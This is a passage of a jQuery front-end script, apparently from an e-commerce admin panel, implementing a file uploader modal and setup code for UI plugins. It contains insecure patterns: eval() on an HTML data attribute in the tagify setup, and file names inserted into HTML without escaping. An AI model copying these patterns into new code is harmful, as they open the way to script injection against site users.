1//custom jquery method for toggle attr 2$.fn.toggleAttr = function (attr, attr1, attr2) { 3 return this.each(function () { 4 var self = $(this); 5 if (self.attr(attr) == attr1) self.attr(attr, attr2); 6 else self.attr(attr, attr1); 7 }); 8}; 9(function ($) { 10 // USE STRICT 11 "use strict"; 12 13 AIZ.data = { 14 csrf: $('meta[name="csrf-token"]').attr("content"), 15 appUrl: $('meta[name="app-url"]').attr("content"), 16 fileBaseUrl: $('meta[name="file-base-url"]').attr("content"), 17 }; 18 AIZ.uploader = { 19 data: { 20 selectedFiles: [], 21 selectedFilesObject: [], 22 clickedForDelete: null, 23 allFiles: [], 24 multiple: false, 25 type: "all", 26 next_page_url: null, 27 prev_page_url: null, 28 }, 29 removeInputValue: function (id, array, elem) { 30 var selected = array.filter(function (item) { 31 return item !== id; 32 }); 33 if (selected.length > 0) { 34 $(elem) 35 .find(".file-amount") 36 .html(AIZ.uploader.updateFileHtml(selected)); 37 } else { 38 elem.find(".file-amount").html(AIZ.local.choose_file); 39 } 40 $(elem).find(".selected-files").val(selected); 41 }, 42 removeAttachment: function () { 43 $(document).on("click", ".remove-attachment", function () { 44 var value = $(this).closest(".file-preview-item").data("id"); 45 var selected = $(this) 46 .closest(".file-preview") 47 .prev('[data-toggle="aizuploader"]') 48 .find(".selected-files") 49 .val() 50 .split(",") 51 .map(Number); 52 53 AIZ.uploader.removeInputValue( 54 value, 55 selected, 56 $(this) 57 .closest(".file-preview") 58 .prev('[data-toggle="aizuploader"]') 59 ); 60 $(this).closest(".file-preview-item").remove(); 61 }); 62 }, 63 deleteUploaderFile: function () { 64 $(".aiz-uploader-delete").each(function () { 65 $(this).on("click", function (e) { 66 e.preventDefault(); 67 var id = $(this).data("id"); 68 AIZ.uploader.data.clickedForDelete = id; 69 $("#aizUploaderDelete").modal("show"); 70 71 $(".aiz-uploader-confirmed-delete").on( 72 "click", 73 function (e) { 74 e.preventDefault(); 75 if (e.detail === 1) { 76 var clickedForDeleteObject = 77 AIZ.uploader.data.allFiles[ 78 AIZ.uploader.data.allFiles.findIndex( 79 (x) => 80 x.id === 81 AIZ.uploader.data 82 .clickedForDelete 83 ) 84 ]; 85 $.ajax({ 86 url: 87 AIZ.data.appUrl + 88 "/aiz-uploader/destroy/" + 89 AIZ.uploader.data.clickedForDelete, 90 type: "DELETE", 91 dataType: "JSON", 92 data: { 93 id: AIZ.uploader.data.clickedForDelete, 94 _method: "DELETE", 95 _token: AIZ.data.csrf, 96 }, 97 success: function () { 98 AIZ.uploader.data.selectedFiles = 99 AIZ.uploader.data.selectedFiles.filter( 100 function (item) { 101 return ( 102 item !== 103 AIZ.uploader.data 104 .clickedForDelete 105 ); 106 } 107 ); 108 AIZ.uploader.data.selectedFilesObject = 109 AIZ.uploader.data.selectedFilesObject.filter( 110 function (item) { 111 return ( 112 item !== 113 clickedForDeleteObject 114 ); 115 } 116 ); 117 AIZ.uploader.updateUploaderSelected(); 118 AIZ.uploader.getAllUploads( 119 AIZ.data.appUrl + 120 "/aiz-uploader/get-uploaded-files" 121 ); 122 AIZ.uploader.data.clickedForDelete = 123 null; 124 $("#aizUploaderDelete").modal("hide"); 125 }, 126 }); 127 } 128 } 129 ); 130 }); 131 }); 132 }, 133 uploadSelect: function () { 134 $(".aiz-uploader-select").each(function () { 135 var elem = $(this); 136 elem.on("click", function (e) { 137 var value = $(this).data("value"); 138 var valueObject = 139 AIZ.uploader.data.allFiles[ 140 AIZ.uploader.data.allFiles.findIndex( 141 (x) => x.id === value 142 ) 143 ]; 144 // console.log(valueObject); 145 146 elem.closest(".aiz-file-box-wrap").toggleAttr( 147 "data-selected", 148 "true", 149 "false" 150 ); 151 if (!AIZ.uploader.data.multiple) { 152 elem.closest(".aiz-file-box-wrap") 153 .siblings() 154 .attr("data-selected", "false"); 155 } 156 if (!AIZ.uploader.data.selectedFiles.includes(value)) { 157 if (!AIZ.uploader.data.multiple) { 158 AIZ.uploader.data.selectedFiles = []; 159 AIZ.uploader.data.selectedFilesObject = []; 160 } 161 AIZ.uploader.data.selectedFiles.push(value); 162 AIZ.uploader.data.selectedFilesObject.push(valueObject); 163 } else { 164 AIZ.uploader.data.selectedFiles = 165 AIZ.uploader.data.selectedFiles.filter(function ( 166 item 167 ) { 168 return item !== value; 169 }); 170 AIZ.uploader.data.selectedFilesObject = 171 AIZ.uploader.data.selectedFilesObject.filter( 172 function (item) { 173 return item !== valueObject; 174 } 175 ); 176 } 177 AIZ.uploader.addSelectedValue(); 178 AIZ.uploader.updateUploaderSelected(); 179 }); 180 }); 181 }, 182 updateFileHtml: function (array) { 183 var fileText = ""; 184 if (array.length > 1) { 185 var fileText = AIZ.local.files_selected; 186 } else { 187 var fileText = AIZ.local.file_selected; 188 } 189 return array.length + " " + fileText; 190 }, 191 updateUploaderSelected: function () { 192 $(".aiz-uploader-selected").html( 193 AIZ.uploader.updateFileHtml(AIZ.uploader.data.selectedFiles) 194 ); 195 }, 196 clearUploaderSelected: function () { 197 $(".aiz-uploader-selected-clear").on("click", function () { 198 AIZ.uploader.data.selectedFiles = []; 199 AIZ.uploader.addSelectedValue(); 200 AIZ.uploader.addHiddenValue(); 201 AIZ.uploader.resetFilter(); 202 AIZ.uploader.updateUploaderSelected(); 203 AIZ.uploader.updateUploaderFiles(); 204 }); 205 }, 206 resetFilter: function () { 207 $('[name="aiz-uploader-search"]').val(""); 208 $('[name="aiz-show-selected"]').prop("checked", false); 209 $('[name="aiz-uploader-sort"] option[value=newest]').prop( 210 "selected", 211 true 212 ); 213 }, 214 getAllUploads: function (url, search_key = null, sort_key = null) { 215 $(".aiz-uploader-all").html( 216 '<div class="align-items-center d-flex h-100 justify-content-center w-100"><div class="spinner-border" role="status"></div></div>' 217 ); 218 var params = {}; 219 if (search_key != null && search_key.length > 0) { 220 params["search"] = search_key; 221 } 222 if (sort_key != null && sort_key.length > 0) { 223 params["sort"] = sort_key; 224 } else { 225 params["sort"] = "newest"; 226 } 227 $.get(url, params, function (data, status) { 228 //console.log(data); 229 if (typeof data == "string") { 230 data = JSON.parse(data); 231 } 232 AIZ.uploader.data.allFiles = data.data; 233 AIZ.uploader.allowedFileType(); 234 AIZ.uploader.addSelectedValue(); 235 AIZ.uploader.addHiddenValue(); 236 //AIZ.uploader.resetFilter(); 237 AIZ.uploader.updateUploaderFiles(); 238 if (data.next_page_url != null) { 239 AIZ.uploader.data.next_page_url = data.next_page_url; 240 $("#uploader_next_btn").removeAttr("disabled"); 241 } else { 242 $("#uploader_next_btn").attr("disabled", true); 243 } 244 if (data.prev_page_url != null) { 245 AIZ.uploader.data.prev_page_url = data.prev_page_url; 246 $("#uploader_prev_btn").removeAttr("disabled"); 247 } else { 248 $("#uploader_prev_btn").attr("disabled", true); 249 } 250 }); 251 }, 252 showSelectedFiles: function () { 253 $('[name="aiz-show-selected"]').on("change", function () { 254 if ($(this).is(":checked")) { 255 // for ( 256 // var i = 0; 257 // i < AIZ.uploader.data.allFiles.length; 258 // i++ 259 // ) { 260 // if (AIZ.uploader.data.allFiles[i].selected) { 261 // AIZ.uploader.data.allFiles[ 262 // i 263 // ].aria_hidden = false;
264 // } else { 265 // AIZ.uploader.data.allFiles[ 266 // i 267 // ].aria_hidden = true; 268 // } 269 // } 270 AIZ.uploader.data.allFiles = 271 AIZ.uploader.data.selectedFilesObject; 272 } else { 273 // for ( 274 // var i = 0; 275 // i < AIZ.uploader.data.allFiles.length; 276 // i++ 277 // ) { 278 // AIZ.uploader.data.allFiles[ 279 // i 280 // ].aria_hidden = false; 281 // } 282 AIZ.uploader.getAllUploads( 283 AIZ.data.appUrl + "/aiz-uploader/get-uploaded-files" 284 ); 285 } 286 AIZ.uploader.updateUploaderFiles(); 287 }); 288 }, 289 searchUploaderFiles: function () { 290 $('[name="aiz-uploader-search"]').on("keyup", function () { 291 var value = $(this).val(); 292 AIZ.uploader.getAllUploads( 293 AIZ.data.appUrl + "/aiz-uploader/get-uploaded-files", 294 value, 295 $('[name="aiz-uploader-sort"]').val() 296 ); 297 // if (AIZ.uploader.data.allFiles.length > 0) { 298 // for ( 299 // var i = 0; 300 // i < AIZ.uploader.data.allFiles.length; 301 // i++ 302 // ) { 303 // if ( 304 // AIZ.uploader.data.allFiles[ 305 // i 306 // ].file_original_name 307 // .toUpperCase() 308 // .indexOf(value) > -1 309 // ) { 310 // AIZ.uploader.data.allFiles[ 311 // i 312 // ].aria_hidden = false; 313 // } else { 314 // AIZ.uploader.data.allFiles[ 315 // i 316 // ].aria_hidden = true; 317 // } 318 // } 319 // } 320 //AIZ.uploader.updateUploaderFiles(); 321 }); 322 }, 323 sortUploaderFiles: function () { 324 $('[name="aiz-uploader-sort"]').on("change", function () { 325 var value = $(this).val(); 326 AIZ.uploader.getAllUploads( 327 AIZ.data.appUrl + "/aiz-uploader/get-uploaded-files", 328 $('[name="aiz-uploader-search"]').val(), 329 value 330 ); 331 332 // if (value === "oldest") { 333 // AIZ.uploader.data.allFiles = AIZ.uploader.data.allFiles.sort( 334 // function(a, b) { 335 // return ( 336 // new Date(a.created_at) - new Date(b.created_at) 337 // ); 338 // } 339 // ); 340 // } else if (value === "smallest") { 341 // AIZ.uploader.data.allFiles = AIZ.uploader.data.allFiles.sort( 342 // function(a, b) { 343 // return a.file_size - b.file_size; 344 // } 345 // ); 346 // } else if (value === "largest") { 347 // AIZ.uploader.data.allFiles = AIZ.uploader.data.allFiles.sort( 348 // function(a, b) { 349 // return b.file_size - a.file_size; 350 // } 351 // ); 352 // } else { 353 // AIZ.uploader.data.allFiles = AIZ.uploader.data.allFiles.sort( 354 // function(a, b) { 355 // a = new Date(a.created_at); 356 // b = new Date(b.created_at); 357 // return a > b ? -1 : a < b ? 1 : 0; 358 // } 359 // ); 360 // } 361 //AIZ.uploader.updateUploaderFiles(); 362 }); 363 }, 364 addSelectedValue: function () { 365 for (var i = 0; i < AIZ.uploader.data.allFiles.length; i++) { 366 if ( 367 !AIZ.uploader.data.selectedFiles.includes( 368 AIZ.uploader.data.allFiles[i].id 369 ) 370 ) { 371 AIZ.uploader.data.allFiles[i].selected = false;
372 } else { 373 AIZ.uploader.data.allFiles[i].selected = true; 374 } 375 } 376 }, 377 addHiddenValue: function () { 378 for (var i = 0; i < AIZ.uploader.data.allFiles.length; i++) { 379 AIZ.uploader.data.allFiles[i].aria_hidden = false; 380 } 381 }, 382 allowedFileType: function () { 383 if (AIZ.uploader.data.type !== "all") { 384 let type = AIZ.uploader.data.type.split(","); 385 AIZ.uploader.data.allFiles = AIZ.uploader.data.allFiles.filter( 386 function (item) { 387 return type.includes(item.type); 388 } 389 ); 390 } 391 }, 392 updateUploaderFiles: function () { 393 $(".aiz-uploader-all").html( 394 '<div class="align-items-center d-flex h-100 justify-content-center w-100"><div class="spinner-border" role="status"></div></div>' 395 ); 396 397 var data = AIZ.uploader.data.allFiles; 398 399 setTimeout(function () { 400 $(".aiz-uploader-all").html(null); 401 402 if (data.length > 0) { 403 for (var i = 0; i < data.length; i++) { 404 var thumb = ""; 405 var hidden = ""; 406 if (data[i].type === "image") { 407 thumb = 408 '<img src="' + 409 AIZ.data.fileBaseUrl + 410 data[i].file_name + 411 '" class="img-fit">'; 412 } else { 413 thumb = '<i class="la la-file-text"></i>'; 414 } 415 var html = 416 '<div class="aiz-file-box-wrap" aria-hidden="' + 417 data[i].aria_hidden + 418 '" data-selected="' + 419 data[i].selected + 420 '">' + 421 '<div class="aiz-file-box">' + 422 // '<div class="dropdown-file">' + 423 // '<a class="dropdown-link" data-toggle="dropdown">' + 424 // '<i class="la la-ellipsis-v"></i>' + 425 // "</a>" + 426 // '<div class="dropdown-menu dropdown-menu-right">' + 427 // '<a href="' + 428 // AIZ.data.fileBaseUrl + 429 // data[i].file_name + 430 // '" target="_blank" download="' + 431 // data[i].file_original_name + 432 // "." + 433 // data[i].extension + 434 // '" class="dropdown-item"><i class="la la-download mr-2"></i>Download</a>' + 435 // '<a href="#" class="dropdown-item aiz-uploader-delete" data-id="' + 436 // data[i].id + 437 // '"><i class="la la-trash mr-2"></i>Delete</a>' + 438 // "</div>" + 439 // "</div>" + 440 '<div class="card card-file aiz-uploader-select" title="' + 441 data[i].file_original_name + 442 "." + 443 data[i].extension + 444 '" data-value="' + 445 data[i].id + 446 '">' + 447 '<div class="card-file-thumb">' + 448 thumb + 449 "</div>" + 450 '<div class="card-body">' + 451 '<h6 class="d-flex">' + 452 '<span class="text-truncate title">' + 453 data[i].file_original_name + 454 "</span>" + 455 '<span class="ext flex-shrink-0">.' + 456 data[i].extension + 457 "</span>" + 458 "</h6>" + 459 "<p>" + 460 AIZ.extra.bytesToSize(data[i].file_size) + 461 "</p>" + 462 "</div>" + 463 "</div>" + 464 "</div>" + 465 "</div>"; 466 467 $(".aiz-uploader-all").append(html); 468 } 469 } else { 470 $(".aiz-uploader-all").html( 471 '<div class="align-items-center d-flex h-100 justify-content-center w-100 nav-tabs"><div class="text-center"><h3>No files found</h3></div></div>' 472 ); 473 } 474 AIZ.uploader.uploadSelect(); 475 AIZ.uploader.deleteUploaderFile(); 476 }, 300); 477 }, 478 inputSelectPreviewGenerate: function (elem) { 479 elem.find(".selected-files").val(AIZ.uploader.data.selectedFiles); 480 elem.next(".file-preview").html(null); 481 482 if (AIZ.uploader.data.selectedFiles.length > 0) { 483 $.post( 484 AIZ.data.appUrl + "/aiz-uploader/get_file_by_ids", 485 { 486 _token: AIZ.data.csrf, 487 ids: AIZ.uploader.data.selectedFiles.toString(), 488 }, 489 function (data) { 490 elem.next(".file-preview").html(null); 491 492 if (data.length > 0) { 493 elem.find(".file-amount").html( 494 AIZ.uploader.updateFileHtml(data) 495 ); 496 for (var i = 0; i < data.length; i++) { 497 var thumb = ""; 498 if (data[i].type === "image") { 499 thumb = 500 '<img src="' + 501 data[i].file_name + 502 '" class="img-fit">'; 503 } else { 504 thumb = '<i class="la la-file-text"></i>'; 505 } 506 var html = 507 '<div class="d-flex justify-content-between align-items-center mt-2 file-preview-item" data-id="' + 508 data[i].id + 509 '" title="' + 510 data[i].file_original_name + 511 "." + 512 data[i].extension + 513 '">' + 514 '<div class="align-items-center align-self-stretch d-flex justify-content-center thumb">' + 515 thumb + 516 "</div>" + 517 '<div class="col body">' + 518 '<h6 class="d-flex">' + 519 '<span class="text-truncate title">' + 520 data[i].file_original_name + 521 "</span>" + 522 '<span class="flex-shrink-0 ext">.' + 523 data[i].extension + 524 "</span>" + 525 "</h6>" + 526 "<p>" + 527 AIZ.extra.bytesToSize(data[i].file_size) + 528 "</p>" + 529 "</div>" + 530 '<div class="remove">' + 531 '<button class="btn btn-sm btn-link remove-attachment" type="button">' + 532 '<i class="la la-close"></i>' + 533 "</button>" + 534 "</div>" + 535 "</div>"; 536 537 elem.next(".file-preview").append(html); 538 } 539 } else { 540 elem.find(".file-amount").html( 541 AIZ.local.choose_file 542 ); 543 } 544 } 545 ); 546 } else { 547 elem.find(".file-amount").html(AIZ.local.choose_file); 548 } 549 550 // if (AIZ.uploader.data.selectedFiles.length > 0) { 551 // elem.find(".file-amount").html( 552 // AIZ.uploader.updateFileHtml(AIZ.uploader.data.selectedFiles) 553 // ); 554 // for ( 555 // var i = 0; 556 // i < AIZ.uploader.data.selectedFiles.length; 557 // i++ 558 // ) { 559 // var index = AIZ.uploader.data.allFiles.findIndex( 560 // (x) => x.id === AIZ.uploader.data.selectedFiles[i] 561 // ); 562 // var thumb = ""; 563 // if (AIZ.uploader.data.allFiles[index].type == "image") { 564 // thumb = 565 // '<img src="' + 566 // AIZ.data.appUrl + 567 // "/public/" + 568 // AIZ.uploader.data.allFiles[index].file_name + 569 // '" class="img-fit">'; 570 // } else { 571 // thumb = '<i class="la la-file-text"></i>'; 572 // } 573 // var html = 574 // '<div class="d-flex justify-content-between align-items-center mt-2 file-preview-item" data-id="' + 575 // AIZ.uploader.data.allFiles[index].id + 576 // '" title="' + 577 // AIZ.uploader.data.allFiles[index].file_original_name + 578 // "." + 579 // AIZ.uploader.data.allFiles[index].extension + 580 // '">' + 581 // '<div class="align-items-center align-self-stretch d-flex justify-content-center thumb">' + 582 // thumb + 583 // "</div>" + 584 // '<div class="col body">' + 585 // '<h6 class="d-flex">' + 586 // '<span class="text-truncate title">' + 587 // AIZ.uploader.data.allFiles[index].file_original_name + 588 // "</span>" + 589 // '<span class="ext">.' + 590 // AIZ.uploader.data.allFiles[index].extension + 591 // "</span>" + 592 // "</h6>" + 593 // "<p>" + 594 // AIZ.extra.bytesToSize( 595 // AIZ.uploader.data.allFiles[index].file_size 596 // ) + 597 // "</p>" + 598 // "</div>" + 599 // '<div class="remove">' + 600 // '<button class="btn btn-sm btn-link remove-attachment" type="button">' + 601 // '<i class="la la-close"></i>' + 602 // "</button>" + 603 // "</div>" + 604 // "</div>"; 605 606 // elem.next(".file-preview").append(html); 607 // } 608 // } else { 609 // elem.find(".file-amount").html("Choose File"); 610 // } 611 }, 612 editorImageGenerate: function (elem) { 613 if (AIZ.uploader.data.selectedFiles.length > 0) { 614 for ( 615 var i = 0; 616 i < AIZ.uploader.data.selectedFiles.length; 617 i++ 618 ) { 619 var index = AIZ.uploader.data.allFiles.findIndex( 620 (x) => x.id === AIZ.uploader.data.selectedFiles[i] 621 ); 622 var thumb = ""; 623 if (AIZ.uploader.data.allFiles[index].type === "image") { 624 thumb = 625 '<img src="' + 626 AIZ.data.fileBaseUrl + 627 AIZ.uploader.data.allFiles[index].file_name + 628 '">'; 629 elem[0].insertHTML(thumb); 630 // console.log(elem); 631 } 632 } 633 } 634 },
635 dismissUploader: function () { 636 $("#aizUploaderModal").on("hidden.bs.modal", function () { 637 $(".aiz-uploader-backdrop").remove(); 638 $("#aizUploaderModal").remove(); 639 }); 640 }, 641 trigger: function ( 642 elem = null, 643 from = "", 644 type = "all", 645 selectd = "", 646 multiple = false, 647 callback = null 648 ) { 649 // $("body").append('<div class="aiz-uploader-backdrop"></div>'); 650 651 var elem = $(elem); 652 var multiple = multiple; 653 var type = type; 654 var oldSelectedFiles = selectd; 655 if (oldSelectedFiles !== "") { 656 AIZ.uploader.data.selectedFiles = oldSelectedFiles 657 .split(",") 658 .map(Number); 659 } else { 660 AIZ.uploader.data.selectedFiles = []; 661 } 662 if ("undefined" !== typeof type && type.length > 0) { 663 AIZ.uploader.data.type = type; 664 } 665 666 if (multiple) { 667 AIZ.uploader.data.multiple = true; 668 } else { 669 AIZ.uploader.data.multiple = false; 670 } 671 672 // setTimeout(function() { 673 $.post( 674 AIZ.data.appUrl + "/aiz-uploader", 675 { _token: AIZ.data.csrf }, 676 function (data) { 677 $("body").append(data); 678 $("#aizUploaderModal").modal("show"); 679 AIZ.plugins.aizUppy(); 680 AIZ.uploader.getAllUploads( 681 AIZ.data.appUrl + "/aiz-uploader/get-uploaded-files", 682 null, 683 $('[name="aiz-uploader-sort"]').val() 684 ); 685 AIZ.uploader.updateUploaderSelected(); 686 AIZ.uploader.clearUploaderSelected(); 687 AIZ.uploader.sortUploaderFiles(); 688 AIZ.uploader.searchUploaderFiles(); 689 AIZ.uploader.showSelectedFiles(); 690 AIZ.uploader.dismissUploader(); 691 692 $("#uploader_next_btn").on("click", function () { 693 if (AIZ.uploader.data.next_page_url != null) { 694 $('[name="aiz-show-selected"]').prop( 695 "checked", 696 false 697 ); 698 AIZ.uploader.getAllUploads( 699 AIZ.uploader.data.next_page_url 700 ); 701 } 702 }); 703 704 $("#uploader_prev_btn").on("click", function () { 705 if (AIZ.uploader.data.prev_page_url != null) { 706 $('[name="aiz-show-selected"]').prop( 707 "checked", 708 false 709 ); 710 AIZ.uploader.getAllUploads( 711 AIZ.uploader.data.prev_page_url 712 ); 713 } 714 }); 715 716 $(".aiz-uploader-search i").on("click", function () { 717 $(this).parent().toggleClass("open"); 718 }); 719 720 $('[data-toggle="aizUploaderAddSelected"]').on( 721 "click", 722 function () { 723 if (from === "input") { 724 AIZ.uploader.inputSelectPreviewGenerate(elem); 725 } else if (from === "direct") { 726 callback(AIZ.uploader.data.selectedFiles); 727 } 728 $("#aizUploaderModal").modal("hide"); 729 } 730 ); 731 } 732 ); 733 // }, 50); 734 }, 735 initForInput: function () { 736 $(document).on( 737 "click", 738 '[data-toggle="aizuploader"]', 739 function (e) { 740 if (e.detail === 1) { 741 var elem = $(this); 742 var multiple = elem.data("multiple"); 743 var type = elem.data("type"); 744 var oldSelectedFiles = elem 745 .find(".selected-files") 746 .val(); 747 748 multiple = !multiple ? "" : multiple; 749 type = !type ? "" : type; 750 oldSelectedFiles = !oldSelectedFiles 751 ? "" 752 : oldSelectedFiles; 753 754 AIZ.uploader.trigger( 755 this, 756 "input", 757 type, 758 oldSelectedFiles, 759 multiple 760 ); 761 } 762 } 763 ); 764 }, 765 previewGenerate: function () { 766 $('[data-toggle="aizuploader"]').each(function () { 767 var $this = $(this); 768 var files = $this.find(".selected-files").val(); 769 if (files != "") { 770 $.post( 771 AIZ.data.appUrl + "/aiz-uploader/get_file_by_ids", 772 { _token: AIZ.data.csrf, ids: files }, 773 function (data) { 774 $this.next(".file-preview").html(null); 775 776 if (data.length > 0) { 777 $this 778 .find(".file-amount") 779 .html(AIZ.uploader.updateFileHtml(data)); 780 for (var i = 0; i < data.length; i++) { 781 var thumb = ""; 782 if (data[i].type === "image") { 783 thumb = 784 '<img src="' + 785 data[i].file_name + 786 '" class="img-fit">'; 787 } else { 788 thumb = 789 '<i class="la la-file-text"></i>'; 790 } 791 var html = 792 '<div class="d-flex justify-content-between align-items-center mt-2 file-preview-item" data-id="' + 793 data[i].id + 794 '" title="' + 795 data[i].file_original_name + 796 "." + 797 data[i].extension + 798 '">' + 799 '<div class="align-items-center align-self-stretch d-flex justify-content-center thumb">' + 800 thumb + 801 "</div>" + 802 '<div class="col body">' + 803 '<h6 class="d-flex">' + 804 '<span class="text-truncate title">' + 805 data[i].file_original_name + 806 "</span>" + 807 '<span class="ext flex-shrink-0">.' + 808 data[i].extension + 809 "</span>" + 810 "</h6>" + 811 "<p>" + 812 AIZ.extra.bytesToSize( 813 data[i].file_size 814 ) + 815 "</p>" + 816 "</div>" + 817 '<div class="remove">' + 818 '<button class="btn btn-sm btn-link remove-attachment" type="button">' + 819 '<i class="la la-close"></i>' + 820 "</button>" + 821 "</div>" + 822 "</div>"; 823 824 $this.next(".file-preview").append(html); 825 } 826 } else { 827 $this 828 .find(".file-amount") 829 .html(AIZ.local.choose_file); 830 } 831 } 832 ); 833 } 834 }); 835 }, 836 }; 837 AIZ.plugins = { 838 metismenu: function () { 839 $('[data-toggle="aiz-side-menu"]').metisMenu(); 840 }, 841 bootstrapSelect: function (refresh = "") { 842 $(".aiz-selectpicker").each(function (el) { 843 var $this = $(this); 844 if (!$this.parent().hasClass("bootstrap-select")) { 845 var selected = $this.data("selected"); 846 if (typeof selected !== "undefined") { 847 $this.val(selected); 848 } 849 $this.selectpicker({ 850 size: 5, 851 noneSelectedText: AIZ.local.nothing_selected, 852 virtualScroll: false, 853 }); 854 } 855 if (refresh === "refresh") { 856 $this.selectpicker("refresh"); 857 } 858 if (refresh === "destroy") { 859 $this.selectpicker("destroy"); 860 } 861 }); 862 }, 863 tagify: function () { 864 $(".aiz-tag-input") 865 .not(".tagify") 866 .each(function () { 867 var $this = $(this); 868 869 var maxTags = $this.data("max-tags"); 870 var whitelist = $this.data("whitelist"); 871 var onchange = $this.data("on-change"); 872 873 maxTags = !maxTags ? Infinity : maxTags; 874 whitelist = !whitelist ? [] : whitelist; 875 876 $this.tagify({ 877 maxTags: maxTags, 878 whitelist: whitelist, 879 dropdown: { 880 enabled: 1, 881 }, 882 }); 883 try { 884 callback = eval(onchange); 885 } catch (e) { 886 var callback = ""; 887 } 888 if (typeof callback == "function") { 889 $this.on("removeTag", function () { 890 callback(); 891 }); 892 $this.on("add", function () { 893 callback(); 894 }); 895 } 896 }); 897 }, 898 textEditor: function () { 899 $(".aiz-text-editor").each(function (el) { 900 var $this = $(this); 901 var buttons = $this.data("buttons"); 902 var minHeight = $this.data("min-height"); 903 var placeholder = $this.attr("placeholder"); 904 var format = $this.data("format"); 905 906 buttons = !buttons 907 ? [ 908 ["font", ["bold", "underline", "italic", "clear"]], 909 ["para", ["ul", "ol", "paragraph"]], 910 ["style", ["style"]], 911 ["color", ["color"]], 912 ["table", ["table"]], 913 ["insert", ["link", "picture", "video"]], 914 ["view", ["fullscreen", "undo", "redo"]], 915 ] 916 : buttons; 917 placeholder = !placeholder ? "" : placeholder; 918 minHeight = !minHeight ? 200 : minHeight; 919 format = typeof format == "undefined" ? false : format; 920 921 $this.summernote({ 922 toolbar: buttons, 923 placeholder: placeholder, 924 disableDragAndDrop: true, 925 height: minHeight, 926 callbacks: { 927 onImageUpload: function (data) { 928 data.pop(); 929 }, 930 onPaste: function (e) { 931 if (format) { 932 var bufferText = ( 933 (e.originalEvent || e).clipboardData || 934 window.clipboardData 935 ).getData("Text"); 936 e.preventDefault(); 937 document.execCommand( 938 "insertText", 939 false, 940 bufferText 941 ); 942 } 943 }, 944 }, 945 }); 946 947 var nativeHtmlBuilderFunc = $this.summernote( 948 "module", 949 "videoDialog" 950 ).createVideoNode; 951 952 $this.summernote("module", "videoDialog").createVideoNode = 953 function (url) { 954 var wrap = $( 955 '<div class="embed-responsive embed-responsive-16by9"></div>' 956 ); 957 var html = nativeHtmlBuilderFunc(url); 958 html = $(html).addClass("embed-responsive-item"); 959 return wrap.append(html)[0]; 960 }; 961 }); 962 }, 963 dateRange: function () { 964 $(".aiz-date-range").each(function () { 965 var $this = $(this); 966 var today = moment().startOf("day"); 967 var value = $this.val(); 968 var startDate = false;
969 var minDate = false; 970 var maxDate = false; 971 var advncdRange = false; 972 var ranges = { 973 Today: [moment(), moment()], 974 Yesterday: [ 975 moment().subtract(1, "days"), 976 moment().subtract(1, "days"), 977 ], 978 "Last 7 Days": [moment().subtract(6, "days"), moment()], 979 "Last 30 Days": [moment().subtract(29, "days"), moment()], 980 "This Month": [ 981 moment().startOf("month"), 982 moment().endOf("month"), 983 ], 984 "Last Month": [ 985 moment().subtract(1, "month").startOf("month"), 986 moment().subtract(1, "month").endOf("month"), 987 ], 988 }; 989 990 var single = $this.data("single"); 991 var monthYearDrop = $this.data("show-dropdown"); 992 var format = $this.data("format"); 993 var separator = $this.data("separator"); 994 var pastDisable = $this.data("past-disable"); 995 var futureDisable = $this.data("future-disable"); 996 var timePicker = $this.data("time-picker"); 997 var timePickerIncrement = $this.data("time-gap"); 998 var advncdRange = $this.data("advanced-range"); 999 1000 single = !single ? false : single; 1001 monthYearDrop = !monthYearDrop ? false : monthYearDrop; 1002 format = !format ? "YYYY-MM-DD" : format; 1003 separator = !separator ? " / " : separator; 1004 minDate = !pastDisable ? minDate : today; 1005 maxDate = !futureDisable ? maxDate : today; 1006 timePicker = !timePicker ? false : timePicker; 1007 timePickerIncrement = !timePickerIncrement 1008 ? 1 1009 : timePickerIncrement; 1010 ranges = !advncdRange ? "" : ranges; 1011 1012 $this.daterangepicker({ 1013 singleDatePicker: single, 1014 showDropdowns: monthYearDrop, 1015 minDate: minDate, 1016 maxDate: maxDate, 1017 timePickerIncrement: timePickerIncrement, 1018 autoUpdateInput: false, 1019 ranges: ranges, 1020 locale: { 1021 format: format, 1022 separator: separator, 1023 applyLabel: "Select", 1024 cancelLabel: "Clear", 1025 }, 1026 }); 1027 if (single) { 1028 $this.on("apply.daterangepicker", function (ev, picker) { 1029 $this.val(picker.startDate.format(format)); 1030 }); 1031 } else { 1032 $this.on("apply.daterangepicker", function (ev, picker) { 1033 $this.val( 1034 picker.startDate.format(format) + 1035 separator + 1036 picker.endDate.format(format) 1037 ); 1038 }); 1039 } 1040 1041 $this.on("cancel.daterangepicker", function (ev, picker) { 1042 $this.val(""); 1043 }); 1044 }); 1045 }, 1046 timePicker: function () { 1047 $(".aiz-time-picker").each(function () { 1048 var $this = $(this); 1049 1050 var minuteStep = $this.data("minute-step"); 1051 var defaultTime = $this.data("default"); 1052 1053 minuteStep = !minuteStep ? 10 : minuteStep; 1054 defaultTime = !defaultTime ? "00:00" : defaultTime; 1055 1056 $this.timepicker({ 1057 template: "dropdown", 1058 minuteStep: minuteStep, 1059 defaultTime: defaultTime, 1060 icons: { 1061 up: "las la-angle-up", 1062 down: "las la-angle-down", 1063 }, 1064 showInputs: false, 1065 }); 1066 }); 1067 }, 1068 colorPicker: function () { 1069 $(".aiz-color-picker").on("change", function () { 1070 var $this = $(this); 1071 let value = $this.val(); 1072 $this.parent().parent().siblings(".aiz-color-input").val(value); 1073 }); 1074 $(".aiz-color-input").on("change", function () { 1075 var $this = $(this); 1076 let value = $this.val(); 1077 $(this) 1078 .siblings(".input-group-append") 1079 .children(".input-group-text") 1080 .children(".aiz-color-picker") 1081 .val(value); 1082 }); 1083 }, 1084 fooTable: function () { 1085 $(".aiz-table").each(function () { 1086 var $this = $(this); 1087 1088 var empty = $this.data("empty"); 1089 empty = !empty ? AIZ.local.nothing_found : empty; 1090 1091 $this.footable({ 1092 breakpoints: { 1093 xs: 576, 1094 sm: 768, 1095 md: 992, 1096 lg: 1200, 1097 xl: 1400, 1098 }, 1099 cascade: true, 1100 on: { 1101 "ready.ft.table": function (e, ft) { 1102 AIZ.extra.deleteConfirm(); 1103 AIZ.plugins.bootstrapSelect("refresh"); 1104 }, 1105 }, 1106 empty: empty, 1107 }); 1108 }); 1109 }, 1110 sectionFooTable: function (section) { 1111 var $this = $(section+" .aiz-table"); 1112 1113 var empty = $this.data("empty"); 1114 empty = !empty ? AIZ.local.nothing_found : empty; 1115 1116 $this.footable({ 1117 breakpoints: { 1118 xs: 576, 1119 sm: 768, 1120 md: 992, 1121 lg: 1200, 1122 xl: 1400, 1123 }, 1124 cascade: true, 1125 on: { 1126 